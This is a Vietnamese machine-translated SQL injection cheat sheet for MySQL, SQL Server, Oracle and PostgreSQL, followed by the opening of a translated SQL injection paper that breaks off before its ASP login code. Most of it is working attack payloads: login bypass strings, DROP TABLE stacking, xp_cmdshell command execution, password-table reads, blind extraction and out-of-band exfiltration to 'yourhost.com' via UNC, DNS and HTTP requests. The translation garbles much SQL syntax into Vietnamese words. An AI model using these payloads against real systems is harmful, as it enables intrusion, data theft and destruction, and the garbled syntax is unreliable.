SQL Injection từ trong ra ngoài. Các vấn đề trên thị trường Nga

SQL Injection Cheat Sheet được thiết kế để tóm tắt các tính năng kỹ thuật của nhiều loại lỗ hổng SQL injection. Bài báo trình bày các tính năng của SQL injection trong MySQL, Microsoft SQL Server, ORACLEPostgreSQL.

0. Giới thiệu
Trong bài viết này, bạn có thể tìm thấy thông tin kỹ thuật chi tiết về các loại SQL injection khác nhau. Nó có thể hữu ích cho cả các chuyên gia có kinh nghiệm và người mới bắt đầu trong lĩnh vực bảo mật thông tin.

Hiện tại, cheat sheet chỉ chứa thông tin cho MySQL, Microsoft SQL Server và một số dữ liệu cho ORACLE và PostgreSQL. Các phần chứa các ví dụ về cú pháp, giải thích và chèn.

Ký hiệu đã sử dụng:
M (MySQL);
S (Máy chủ SQL);
O (Nhà tiên tri);
P (PostgreSQL);
+ (có thể trên các cơ sở dữ liệu khác);
* (yêu cầu điều kiện đặc biệt).

1. Dòng chú thích
Nhận xét thường hữu ích cho việc bỏ qua một phần của yêu cầu.
Cú pháp:
- (SM): Bảng mẫu DROP; -
# (M): Bảng mẫu DROP; #
Thí dụ:
Tên người dùng: admin "-
Truy vấn đã tạo: CHỌN * TỪ thành viên WHERE tên người dùng = "quản trị viên" - "VÀ mật khẩu =" mật khẩu "
Điều này sẽ cho phép bạn đăng nhập với tư cách là người dùng quản trị, bỏ qua việc kiểm tra mật khẩu.

2. Chặn bình luận
Với sự giúp đỡ của họ, bạn có thể bỏ qua một phần yêu cầu, thay thế khoảng trắng, bỏ qua danh sách đen, xác định phiên bản của cơ sở dữ liệu.
Cú pháp:
/ * Nhận xét * / (SM):
DROP / * nhận xét * / bảng mẫu
DR / ** / OP / * traversal_black_list * / sampletable
SELECT / * space_replace * / password / ** / FROM / ** / Thành viên

/ *! MYSQL SQL đặc biệt * / (M): SELECT / *! 32302 1/0, * / 1 FROM tên bảng
Đây là cú pháp chú thích dành riêng cho MySQL. Nó cho phép bạn phát hiện phiên bản MySQL của mình. Nhận xét này sẽ chỉ hoạt động trong MySQL.
Ví dụ:
ID: 10; Thành viên DROP TABLE / *
Chúng tôi bỏ qua phần còn lại của yêu cầu, cũng như một dòng bình luận.

ID: / *! 32302 10 * /
bạn sẽ nhận được câu trả lời tương tự như với ID = 10 nếu phiên bản MySQL cao hơn 3.23.02

ID: / *! 32302 1/0, * /
Truy vấn đã tạo: SELECT / *! 32302 1/0, * / 1 FROM tên bảng
Lỗi chia cho 0 sẽ xảy ra nếu máy chủ có phiên bản MySQL cao hơn 3.23.02

3. Trình tự các yêu cầu
Cho phép bạn thực hiện nhiều yêu cầu cùng một lúc. Điều này hữu ích tại bất kỳ thời điểm nào trong quá trình tiêm.


Màu xanh lá cây - được hỗ trợ; đen - không được hỗ trợ; xám - không rõ.
Cú pháp:
; (S): CHỌN * TỪ thành viên; Thành viên DROP--
Một yêu cầu đã kết thúc, yêu cầu tiếp theo đã bắt đầu.
Thí dụ:
ID: 10; thành viên DROP -
Truy vấn đã tạo: SELECT * FROM products WHERE id = 10; Thành viên DROP--
Truy vấn này sẽ bỏ bảng thành viên sau một truy vấn bình thường.

4. Câu lệnh điều kiện
Chúng tôi sẽ nhận được phản hồi cho yêu cầu nếu điều kiện được đáp ứng. Đây là một trong những điểm mấu chốt của tiêm mù. Chúng cũng giúp kiểm tra chính xác những thứ đơn giản.
Cú pháp:
IF (điều kiện, phần đúng, phần sai) (M): CHỌN IF (1 = 1, "true", "false")
Điều kiện IF true-part ELSE false-part (S): IF (1 = 1) CHỌN "đúng" ELSE CHỌN "sai"
IF điều kiện THEN true-part; ELSE sai phần; HẾT NẾU; KẾT THÚC; (O): IF (1 = 1) THEN dbms_lock.sleep (3); ELSE dbms_lock.sleep (0); HẾT NẾU; KẾT THÚC;
CHỌN CASE KHI điều kiện THEN true-part ELSE false-part END; (P): CHỌN TRƯỜNG HỢP KHI (1 = 1) THEN "A" ELSE "B" END;
thí dụ:
if ((select user) = "sa" OR (select user) = "dbo") select 1 else select 1/0 (S)
sẽ ném lỗi chia cho 0 nếu người dùng hiện tại không phải là "sa" hoặc "dbo".

5. Sử dụng số
Được sử dụng để bỏ qua magic_quotes () và các bộ lọc tương tự, bao gồm WAF.
Cú pháp:
0xHEX_NUMBER (SM):
CHỌN CHAR (0x66) (S)
CHỌN 0x5045 (đây không phải là một số mà là một chuỗi) (M)
CHỌN 0x50 + 0x45 (đây là một số) (M)
Ví dụ:
SELECT LOAD_FILE (0x633A5C626F6F742E696E69) (M)
Sẽ hiển thị nội dung của tệp c: \ boot.ini

6. Nối chuỗi
Các thao tác hàng có thể giúp bạn bỏ qua bộ lọc hoặc xác định cơ sở dữ liệu.
Cú pháp:
+ (S): CHỌN đăng nhập + "-" + mật khẩu TỪ thành viên
|| (* MO): CHỌN đăng nhập || "-" || mật khẩu TỪ thành viên
Sẽ hoạt động nếu MySQL đang chạy ở chế độ ANSI. Nếu không, MySQL sẽ không chấp nhận nó như một toán tử boolean và sẽ trả về 0. Tốt hơn nên sử dụng hàm CONCAT () trong MySQL.

CONCAT (str1, str2, str3, ...) (M): CHỌN CONCAT (đăng nhập, mật khẩu) TỪ thành viên

7. Dòng không có dấu ngoặc kép
Có một số cách để tránh sử dụng dấu ngoặc kép trong truy vấn, ví dụ với CHAR () (MS) và CONCAT () (M).
Cú pháp:
CHỌN 0x457578 (M)

MySQL có một cách đơn giản để hex một chuỗi:
CHỌN CONCAT ("0x", HEX ("c: \\ boot.ini"))

Trả về chuỗi “KLM”:
CHỌN CONCAT (CHAR (75), CHAR (76), CHAR (77)) (M)
CHỌN CHAR (75) + CHAR (76) + CHAR (77) (S)
CHỌN CHR (75) || CHR (76) || CHR (77) (O)
CHỌN (CHaR (75) || CHaR (76) || CHaR (77)) (P)

8. Chuyển đổi chuỗi và số.
Cú pháp:
ASCII () (SMP): CHỌN ASCII ("a")
Trả về mã ASCII của ký tự ngoài cùng bên trái. Chức năng được sử dụng để tiêm mù.

CHAR () (SM): CHỌN CHAR (64)
Dịch mã ASCII thành ký tự tương ứng.

9. Nhà điều hành UNION
Với toán tử UNION, bạn có thể thực hiện các truy vấn trên giao điểm của các bảng. Về cơ bản, bạn có thể gửi một truy vấn trả về một giá trị từ một bảng khác.
Thí dụ:
CHỌN tiêu đề, txt TỪ tin tức ĐOÀN KẾT TẤT CẢ CHỌN tên, chuyển TỪ thành viên
Điều này sẽ kết hợp các kết quả từ tin tức và bảng thành viên.

10. Bỏ qua xác thực (SMO +)
Ví dụ:
quản trị viên "-
quản trị viên "#
quản trị viên "/ *
"hoặc 1 = 1--
"hoặc 1 = 1 #
"hoặc 1 = 1 / *
") hoặc" 1 "=" 1--
") hoặc (" 1 "=" 1--

11. Bỏ qua xác thực bằng MD5
Nếu ứng dụng đầu tiên so sánh tên người dùng và sau đó so sánh băm md5 của mật khẩu, thì bạn cần các thủ thuật bổ sung để vượt qua xác thực. Bạn có thể kết hợp các kết quả với một mật khẩu đã biết và hàm băm của nó.
Ví dụ (MSP):
Tên người dùng: admin
Mật khẩu: 1234 "VÀ 1 = 0 ĐOÀN KẾT TẤT CẢ CHỌN" quản trị viên ","
= MD5 (1234)

12. Dựa trên lỗi
12.1 Xác định các cột bằng HAVING BY (S)
Thí dụ:
Theo thứ tự
"CÓ 1 = 1 -
"GROUP BY table.columnfromerror1 HAVING 1 = 1 -
"GROUP BY table.columnfromerror1, columnfromerror2 CÓ 1 = 1 -
"GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror3 CÓ 1 = 1 -
…………….
Tiếp tục cho đến khi bạn không còn mắc lỗi.

12.2 Xác định số cột bằng ORDER BY (MSO +)
Việc tìm số cột bằng ORDER BY có thể được tăng tốc bằng cách sử dụng UNION.
ĐẶT HÀNG THEO 1--
ĐẶT HÀNG THEO 2--
ĐẶT HÀNG THEO 3-
………………..
Tiếp tục cho đến khi bạn nhận được thông báo lỗi. Điều này sẽ cho biết số lượng cột.

13. Định nghĩa kiểu dữ liệu
Luôn sử dụng UNION với TẤT CẢ.
Để loại bỏ mục nhập không cần thiết trong bảng, hãy sử dụng -1 bất kỳ giá trị không tồn tại nào ở đầu truy vấn (nếu nội dung chèn nằm trong tham số WHERE). Điều này rất quan trọng nếu bạn chỉ có thể truy xuất một giá trị tại một thời điểm.
Sử dụng NULL trong việc tiêm UNION thay vì cố gắng đoán một chuỗi, ngày tháng, số, v.v. Nhưng hãy cẩn thận với việc tiêm mù, như bạn có thể nhầm lẫn giữa lỗi của DB và chính ứng dụng. Một số ngôn ngữ, ví dụ ASP.NET, gặp lỗi khi sử dụng giá trị NULL (vì nhà phát triển không mong đợi thấy giá trị null trong trường tên người dùng)
Ví dụ:
"union select sum (columntofind) từ người dùng-- (S):
Nếu bạn không nhận được thông báo lỗi, thì cột đó là số.

SELECT * FROM Table1 WHERE id = -1 UNION TẤT CẢ CHỌN Null, null, NULL, NULL, convert (image, 1), null, null, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL -
Bạn có thể sử dụng CAST () hoặc CONVERT ()

11223344) UNION CHỌN NULL, NULL, NULL, NULL WHERE 1 = 2 –-
Nếu không có lỗi, thì cú pháp đúng, tức là được sử dụng bởi MS SQL Server.

11223344) UNION CHỌN 1, NULL, NULL, NULL WHERE 1 = 2 –-
Nếu không có lỗi, thì cột đầu tiên là một số.

11223344) ĐOÀN CHỌN 1,2, NULL, NULL WHERE 1 = 2 -
Nếu lỗi xuất hiện, thì cột thứ hai không phải là số.

11223344) UNION SELECT 1, '2', NULL, NULL WHERE 1 = 2 –-
Nếu không có lỗi, thì cột thứ hai là một hàng.
……………..

14. Chèn đơn giản (MSO +)
Thí dụ:
"; chèn vào người dùng các giá trị (1," hax0r "," coolpass ", 9) / *

15. Thu thập thông tin
Cú pháp:
@@ phiên bản (MS)
Bạn có thể kiểm tra phiên bản DB và các chi tiết khác.
Thí dụ:
CHÈN VÀO thành viên (id, user, pass) GIÁ TRỊ (1, "" + SUBSTRING (@@ version, 1,10), 10)

16. Chèn phức tạp (S)
Cho phép bạn chèn nội dung của tệp vào bảng. Nếu bạn không biết đường dẫn nội bộ của ứng dụng web, bạn có thể đọc siêu dữ liệu IIS (chỉ dành cho IIS 6).
Cú pháp:
tệp (% systemroot% \ system32 \ inetsrv \ MetaBase.xml)
Sau đó, bạn có thể tìm thấy các đường dẫn ứng dụng trong đó.
Thí dụ:
1. Tạo foo bảng (chuỗi kiểu varchar (8000))
2. Chèn nội dung của tệp ‘c: \ inetpub \ wwwroot \ login.asp’ vào bảng foo
3. Thả bảng tạm thời và lặp lại cho tệp khác.

17. BCP (S)
Viết một tệp văn bản. Điều này yêu cầu thông tin xác thực.
Thí dụ:
bcp "CHỌN * TỪ test..foo" truy vấn c: \ inetpub \ wwwroot \ runcommand.asp -c -Slocalhost -Usa -Pfoobar

18.VBS, WSH trong SQL Server (S)
Bạn có thể sử dụng tập lệnh VBS, WSH trong SQL Server.
Thí dụ:
Tên người dùng: "; khai báo @o int executive sp_oacreate" wscript.shell ", @o out Exec sp_oamethod @o," run ", NULL," notepad.exe "-

19. Thực thi các lệnh hệ thống (S)
Thủ thuật nổi tiếng, tính năng này bị tắt theo mặc định trong SQL Server 2005. Bạn cần có quyền quản trị viên.
Thí dụ:
EXEC master.dbo.xp_cmdshell "cmd.exe dir c:"
EXEC master.dbo.xp_cmdshell "ping"

20. Các bảng đặc biệt trong SQL Server (S)
Ví dụ:
Thông báo lỗi: master..sysmessages
Máy chủ được liên kết: master..sysservers
Mật khẩu SQL Server 2000: master..sysxlogins
Mật khẩu SQL Server 2005: sys.sql_logins

21. Một số thủ tục được lưu trữ cho SQL Server (S)
Cú pháp:
Thực thi Cmd (xp_cmdshell)
Nội dung đăng ký (xp_regread):
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
Quản lý Dịch vụ (xp_servicecontrol)
Phương tiện (xp_availablemedia)
Tài nguyên ODBC (xp_enumdsn)
Chế độ đăng nhập (xp_loginconfig)
Tạo tệp Cab (xp_makecab)
Liệt kê tên miền (xp_ntsec_enumdomains)
Xử lý diệt (bắt buộc phải có PID) (xp_termina_process)
Thêm thủ tục mới (sp_addextendedproc)
Ghi tệp văn bản vào UNC hoặc đường dẫn nội bộ (sp_makewebtask)
Ví dụ:
thi hành xp_regread HKEY_LOCAL_MACHINE, "SYSTEM \ CurrentControlSet \ Services \ lanmanserver \ tham số", "nullsessionshares"
thực thi xp_regenumvalues ​​HKEY_LOCAL_MACHINE, "SYSTEM \ CurrentControlSet \ Services \ snmp \ tham số \ validcommunities"
sp_addextendedproc ‘xp_webserver’, ‘c: \ temp \ x.dll’
thi hành xp_webserver

22. Ghi chú hàng loạt MSSQL
Ví dụ:
CHỌN * TỪ chính..sysprocesses / * WHERE [email được bảo vệ]@ SPID * /
DECLARE @result int; EXEC @result = xp_cmdshell "dir * .exe"; IF (@result = 0) CHỌN 0 CHỌN ELSE CHỌN 1/0
HOST_NAME ()
IS_MEMBER (Giao dịch-SQL)
IS_SRVROLEMEMBER (Giao dịch-SQL)
OPENDATASOURCE (Transact-SQL)
CHÈN tbl EXEC master..xp_cmdshell OSQL / Q "DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

23. Chèn SQL trong các truy vấn LIMIT (M)
Thí dụ:
SELECT id, product FROM test.test LIMIT 0,0 UNION ALL SELECT 1, "x" / *, 10;
Để giải quyết câu lệnh LIMIT, bạn có thể sử dụng UNION hoặc nhận xét.

24. Tắt máy chủ SQL (S)
Thí dụ:
"; tắt -

25. Bật xp_cmdshell trong SQL Server 2005
Cú pháp:
Theo mặc định, xp_cmdshell và một số chức năng tiềm ẩn nguy hiểm khác bị tắt trong SQL Server 2005. Với tư cách là quản trị viên, bạn có thể bật chúng.
EXEC sp_configure "hiển thị các tùy chọn nâng cao", 1
CẤU HÌNH
EXEC sp_configure "xp_cmdshell", 1
CẤU HÌNH

26. Tìm kiếm cấu trúc cơ sở dữ liệu trong SQL Server (S)
Ví dụ:
CHỌN tên TỪ sysobjects WHERE xtype = "U"

CHỌN tên TỪ syscolumns WHERE id = (CHỌN id TỪ sysobjects WHERE name = "tablenameforcolumnnames")
Lấy tiêu đề cột

27. Di chuyển hồ sơ (S)
Ví dụ:
... NƠI người dùng KHÔNG Ở ("Người dùng thứ nhất", "Người dùng thứ hai")
Sử dụng WHERE với KHÔNG VÀO hoặc KHÔNG TỒN TẠI

CHỌN TOP 1 tên TỪ các thành viên CHƯA TỒN TẠI (CHỌN TOP 0 tên TỪ các thành viên)

SELECT * FROM Product WHERE ID = 2 AND 1 = CAST ((Chọn p.name from (SELECT (SELECT COUNT (i.id) AS rid FROM sysobjects i WHERE i.id)<=o.id)
AS x, tên từ sysobjects o) as p trong đó p.x = 3) as int

Chọn p.name từ (CHỌN (CHỌN ĐẾM (i.id) AS thoát khỏi đối tượng hệ thống i WHERE xtype = "U" và i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = "U") as p where p.x=21

28. Một cách nhanh chóng để trích xuất dữ liệu từ SQL Injection dựa trên lỗi trong SQL Server (S)
"; BẮT ĐẦU KHAI BÁO @rt varchar (8000) SET @ rd =": "CHỌN @ [email được bảo vệ]+ "" + tên FROM syscolumns WHERE id = (CHỌN id TỪ sysobjects WHERE name = "MEMBERS") VÀ tên> @rd CHỌN @rd AS rd vào TMP_SYS_TMP end; -

29. Tìm kiếm cấu trúc cơ sở dữ liệu trong MySQL (M)
Ví dụ:
CHỌN table_name FROM information_schema.tables WHERE table_schema = "tablename"
Truy xuất bảng tùy chỉnh

CHỌN table_name, column_name FROM information_schema.columns WHERE table_schema = "tablename"
Lấy tiêu đề cột

30. Tìm kiếm cấu trúc cơ sở dữ liệu trong Oracle (O)
Ví dụ:
CHỌN * TỪ all_tables WHERE OWNER = "DATABASE_NAME"
Truy xuất bảng tùy chỉnh

CHỌN * TỪ all_col_comments WHERE TABLE_NAME = "BẢNG"
Lấy tiêu đề cột

31. Tiêm mù
Trong một ứng dụng chất lượng, bạn sẽ không thể thấy thông báo lỗi. Bạn sẽ không thể sử dụng toán tử UNION và các cuộc tấn công Dựa trên Lỗi. Bạn sẽ phải sử dụng phương thức tiêm SQL mù để tìm nạp dữ liệu. Có hai loại tiêm mù.
Plain Blind Injection: Bạn không thể xem kết quả của các yêu cầu trên trang, nhưng bạn có thể xác định kết quả từ phản hồi hoặc trạng thái HTTP.
Phun mù hoàn toàn: Bạn sẽ không thấy bất kỳ sự khác biệt nào trong đầu ra.
Trong tiêm mù thông thường, bạn có thể sử dụng câu lệnh IF và WHERE, trong tiêm mù hoàn toàn, bạn cần sử dụng một số hàm chờ và so sánh thời gian phản hồi. Để thực hiện việc này, bạn có thể sử dụng WAIT FOR DELAY ‘0: 0: 10’ trong SQL Server, BENCHMARK () và sleep (10) trong MySQL, pg_sleep (10) trong PostgreSQL.
Thí dụ:
Ví dụ này dựa trên việc khai thác Blind Injection trong thế giới thực trên SQL Server.

ĐÚNG: CHỌN ID, Tên người dùng, Email TỪ WHERE ID = 1 VÀ ISNULL (ASCII (SUBSTRING ((CHỌN tên TOP 1 TỪ sysObjects WHERE xtYpe = 0x55 VÀ tên NOT IN (CHỌN tên TOP 0 TỪ sysObjects WHERE xtYpe = 0x55)), 1 , 1)), 0)> 78--

FALSE: CHỌN ID, Tên người dùng, Email TỪ WHERE ID = 1 VÀ ISNULL (ASCII (SUBSTRING ((CHỌN tên TOP 1 TỪ sysObjects WHERE xtYpe = 0x55 VÀ tên NOT IN (CHỌN tên TOP 0 TỪ sysObjects WHERE xtYpe = 0x55)), 1 , 1)), 0)> 103--

FALSE: CHỌN ID, Tên người dùng, Email TỪ WHERE ID = 1 VÀ ISNULL (ASCII (SUBSTRING ((CHỌN tên TOP 1 TỪ sysObjects WHERE xtYpe = 0x55 VÀ tên NOT IN (CHỌN tên TOP 0 TỪ sysObjects WHERE xtYpe = 0x55)), 1 , 1)), 0)> 89--

FALSE: CHỌN ID, Tên người dùng, Email TỪ WHERE ID = 1 VÀ ISNULL (ASCII (SUBSTRING ((CHỌN tên TOP 1 TỪ sysObjects WHERE xtYpe = 0x55 VÀ tên NOT IN (CHỌN tên TOP 0 TỪ sysObjects WHERE xtYpe = 0x55)), 1 , 1)), 0)> 83--

ĐÚNG: CHỌN ID, Tên người dùng, Email TỪ WHERE ID = 1 VÀ ISNULL (ASCII (SUBSTRING ((CHỌN tên TOP 1 TỪ sysObjects WHERE xtYpe = 0x55 VÀ tên NOT IN (CHỌN tên TOP 0 TỪ sysObjects WHERE xtYpe = 0x55)), 1 , 1)), 0)> 79--

FALSE: CHỌN ID, Tên người dùng, Email TỪ WHERE ID = 1 VÀ ISNULL (ASCII (SUBSTRING ((CHỌN tên TOP 1 TỪ sysObjects WHERE xtYpe = 0x55 VÀ tên NOT IN (CHỌN tên TOP 0 TỪ sysObjects WHERE xtYpe = 0x55)), 1 , 1)), 0)> 80--

Dựa trên hai truy vấn cuối cùng, chúng tôi biết chắc chắn giá trị của ký tự đầu tiên trong ascii là 80. Vì vậy, ký tự đầu tiên là `P`. Vì vậy, chúng ta có thể tìm ra tên của các bảng và nội dung của chúng. Một cách khác là đọc dữ liệu từng chút một.

32. Tiêm mù hoàn toàn
Chỉ sử dụng phương pháp này để tiêm mù thật sự. Hãy cẩn thận với độ trễ.
Cú pháp:
CHỜ TRÌ HOÃN "thời gian" (S)
Chức năng này chỉ cần đợi trong thời gian đã định mà không cần tải bộ xử lý.
Ví dụ:
if (select user) = "sa" waitfor delay "0: 0: 10"
ProductID = 1; trì hoãn chờ đợi "0: 0: 10" -
ProductID = 1); trì hoãn chờ đợi "0: 0: 10" -
ProductID = 1 "; trì hoãn chờ đợi" 0: 0: 10 "-
ProductID = 1 "); trì hoãn chờ đợi" 0: 0: 10 "-
ProductID = 1)); trì hoãn chờ đợi "0: 0: 10" -
ProductID = 1 ")); trì hoãn chờ" 0: 0: 10 "-
Cú pháp:
BENCHMARK (bao nhiêu lần, hãy làm điều này) (M)
Thí dụ:
NẾU TỒN TẠI (CHỌN * TỪ người dùng WHERE username = "root") BENCHMARK (1000000000, MD5 (1))
Chúng tôi kiểm tra sự hiện diện của người dùng root.

IF (CHỌN * TỪ đăng nhập) BENCHMARK (1000000, MD5 (1))
Kiểm tra một bảng trong MySQL
Cú pháp:
pg_sleep (giây) (P)
Ngủ trong vài giây được cung cấp.

ngủ (giây) (M)
ngủ trong vài giây được cung cấp.

bms_pipe.receive_message (O)
ngủ trong vài giây được cung cấp.
Thí dụ:
(CHỌN TRƯỜNG HỢP KHI (NVL (ASCII (SUBSTR (((INJECTION)), 1,1)), 0) = 100) THEN dbms_pipe.receive_message (("xyz"), 10) ELSE dbms_pipe.receive_message (("xyz" ), 1) KẾT THÚC TỪ kép)
(INJECTION) là yêu cầu của bạn.
Nếu điều kiện là đúng, phản hồi sẽ là 10 giây. Nếu không, phản hồi sẽ là 1 giây.

33. Các chức năng hữu ích của MySQL
Cú pháp:
MD5 ()
SHA1 ()
MẬT KHẨU MỞ KHÓA ()
ENCODE ()
COMPRESS ()
ĐẾM SỐ HÀNG ()
LƯỢC ĐỒ ()
PHIÊN BẢN ()

34. Tiêm SQL bậc hai
Thông thường, bạn chèn một truy vấn SQL injection vào một trường và mong đợi nó không bị lọc.
Thí dụ:
Tên: "+ (CHỌN 1 mật khẩu HÀNG ĐẦU TỪ người dùng) +"
E-mail: [email được bảo vệ]
Nếu ứng dụng sử dụng tên trường của một thủ tục hoặc chức năng được lưu trữ, thì bạn có thể sử dụng tên đó để tiêm.

35. Sử dụng SQL Server để truy xuất mã băm NTLM
Cuộc tấn công này sẽ giúp lấy mật khẩu người dùng Windows của máy chủ mục tiêu thông qua SQL Server nếu không có quyền truy cập từ bên ngoài. Chúng ta có thể buộc SQL Server kết nối với Windows bằng đường dẫn UNC và truy xuất phiên NTLM bằng các công cụ đặc biệt như Cain & Abel.

Cú pháp:
Đường dẫn UNC: "\\ YOURIPADDRESS \ C $ \ x.txt"
36. Các ví dụ khác về tiêm
Máy chủ SQL:
? dễ bị tổn thươngParam = 1; CHỌN * TỪ OPENROWSET ("SQLOLEDB", ((INJECTION)) + ". Yourhost.com"; "sa"; "pwd", "CHỌN 1")

? dễ bị tổn thươngParam = 1; DECLARE @q varchar (1024); SET @q = "\\" + ((INJECTION)) + ". Yourhost.com \\ test.txt"; EXEC master..xp_dirtree @q
tạo một yêu cầu DNS tới (INJECTION) .yourhost.com

(INJECTION) là yêu cầu của bạn.
MySQL:
?rabilityParam = -99 OR (SELECT LOAD_FILE (concat ("\\\\", ((INJECTION)), "yourhost.com \\")))
Tạo yêu cầu NBNS / DNS tới yourhost.com
?rabilityParam = -99 OR (SELECT ((INJECTION)) VÀO OUTFILE "\\\\ yourhost.com \\ share \\ output.txt")
Ghi dữ liệu vào tệp của bạn
(INJECTION) là yêu cầu của bạn.
Oracle:
?rabilityParam = (CHỌN UTL_HTTP.REQUEST ("http: // host / snip.php? hít =" || ((INJECTION)) || "") TỪ KÉP)
Trình đánh hơi sẽ lưu kết quả
?rabilityParam = (CHỌN UTL_HTTP.REQUEST ("http: // host /" || ((INJECTION)) || ".html") TỪ KÉP)
Kết quả sẽ được lưu nhật ký HTTP
?rabilityParam = (CHỌN UTL_INADDR.get_host_addr (((INJECTION)) || ".yourhost.com") TỪ KÉP)

?rabilityParam = (CHỌN SYS.DBMS_LDAP.INIT (((INJECTION)) || ’.yourhost.com’, 80) TỪ KÉP)
Bạn cần phân tích lưu lượng của các yêu cầu DNS đến yourhost.com
(INJECTION) là yêu cầu của bạn.

Tài liệu này là bản dịch đáp ứng của SQL Injection Cheat Sheet.

Tác phẩm này là bản dịch của một phần Ứng dụng SQL Server Injection Nâng cao của Chris Anley. ()
Trong các bài viết tiếp theo, tùy theo thời gian rảnh, bản dịch này sẽ được hoàn thiện.

P.S. Bản dịch sẽ thú vị hơn cho các mục đích giáo dục và lịch sử.

Tiêu đề bài viết gốc: SQL Injection nâng cao trong ứng dụng SQL.

chú thích

Bài viết này trình bày chi tiết các phương pháp "chèn SQL" phổ biến cho nền tảng Microsoft Internet Information Server / Active Server Pages / SQL Server nổi tiếng. Nó thảo luận về các cách sử dụng khác nhau của SQL injection trong các ứng dụng và giải thích các phương pháp xác thực dữ liệu và bảo mật cơ sở dữ liệu nơi có thể sử dụng tiêm.

Giới thiệu

Ngôn ngữ truy vấn có cấu trúc (SQL) là một ngôn ngữ có cấu trúc được sử dụng để tương tác với cơ sở dữ liệu. Có rất nhiều "phương ngữ" của ngôn ngữ SQL, nhưng ngày nay hầu hết chúng đều dựa trên tiêu chuẩn SQL-92, một trong những tiêu chuẩn ANSI sớm nhất. Khối điều hành chính của SQL là một truy vấn, là một tập hợp các biểu thức thường trả về một tập kết quả. Các biểu thức SQL có thể sửa đổi cấu trúc của cơ sở dữ liệu (sử dụng các biểu thức Ngôn ngữ Định nghĩa Dữ liệu (DLL)) và thao tác nội dung của chúng (sử dụng các biểu thức Ngôn ngữ Thao tác Dữ liệu (DML)). Trong bài báo này, chúng ta sẽ xem xét transact-SQL được sử dụng trong Microsoft SQL Server.

Việc chèn SQL có thể xảy ra khi kẻ tấn công có thể chèn SQL của chính mình vào một truy vấn để thao tác dữ liệu được gửi đến ứng dụng.

Một câu lệnh SQL điển hình trông giống như sau:

Chọn id, họ, tên từ các tác giả

Biểu thức này nhận "id", "forename" và "họ" từ các cột của bảng "author" và trả về tất cả các hàng trong bảng. Việc lựa chọn có thể bị giới hạn bởi một "tác giả" nhất định, ví dụ:

Chọn id, forename, họ từ các tác giả trong đó forename = "john" và surname = "smith"

Cần lưu ý rằng trong truy vấn này, các ký tự chuỗi được phân tách bằng một dấu ngoặc kép. Giả định rằng "forename" và "họ" là đầu vào của người dùng. Trong trường hợp này, kẻ tấn công sẽ có thể nhập truy vấn SQL của riêng mình bằng cách thêm các giá trị của chính mình vào ứng dụng. Ví dụ:

Họ: jo "hn Họ: smith

Khi đó, biểu thức sẽ có dạng sau:

Chọn id, forename, họ từ các tác giả trong đó forename = "jo" hn "và surname =" smith "

Sau khi cơ sở dữ liệu cố gắng xử lý một yêu cầu như vậy, lỗi sau sẽ được trả về:

Máy chủ: Msg 170, Mức 15, Trạng thái 1, Dòng 1 Dòng 1: Cú pháp không chính xác gần "hn".

Nguyên nhân gây ra lỗi là do trích dẫn đơn đã nhập sẽ làm hỏng cấu trúc của các dấu phân cách trong truy vấn. Do đó, cơ sở dữ liệu sẽ cố gắng thực thi lệnh "hn" không thành công, dẫn đến lỗi. Do đó, nếu kẻ tấn công nhập thông tin sau vào biểu mẫu:

Tên họ: jo "; thả tác giả bảng-- Họ:

Bảng "tác giả" sẽ bị xóa, vì vậy chúng ta sẽ xem lý do tại sao sau.

Bạn có thể nghĩ rằng nếu chúng tôi xóa các dấu ngoặc kép khỏi biểu mẫu nhập và cũng "thay thế" chúng, điều này có thể giải quyết vấn đề của chúng tôi. Và bạn sẽ đúng, tuy nhiên, có một số vấn đề khi sử dụng phương pháp này như một giải pháp cho vấn đề này. Đầu tiên, không phải tất cả đầu vào của người dùng đều là "chuỗi". Trong đó biểu mẫu tùy chỉnh sẽ chứa "id" của tác giả, thường là một số. Ví dụ: yêu cầu của chúng tôi có thể trông như thế này:

Chọn id, họ, tên từ các tác giả trong đó id = 1234

Trong trường hợp này, kẻ tấn công có thể dễ dàng thêm bất kỳ câu lệnh SQL nào sau dữ liệu số. Trong các phiên bản khác của truy vấn SQL, các dấu phân cách khác nhau được sử dụng. Ví dụ, trong Microsoft Jet DBMS, dấu phân cách là "#". Thứ hai, "thoát" các dấu ngoặc kép không phải là cách dễ nhất để bảo vệ bạn, vì thoạt nghe có vẻ như vậy. Chúng tôi sẽ nói về điều này chi tiết hơn sau.

Đây là một ví dụ dựa trên trang đăng nhập Active Server Pages (ASP) sử dụng SQL để truy cập cơ sở dữ liệu để cấp phép cho người dùng trong một ứng dụng.

Đây là mã của trang chứa biểu mẫu đăng nhập, trong đó tên người dùng và mật khẩu được nhập vào.

Trang đăng nhập

Đăng nhập

Tên tài khoản:
Mật khẩu:

Dưới đây là mã (process_login.asp) xác định tính đúng đắn của dữ liệu đã nhập.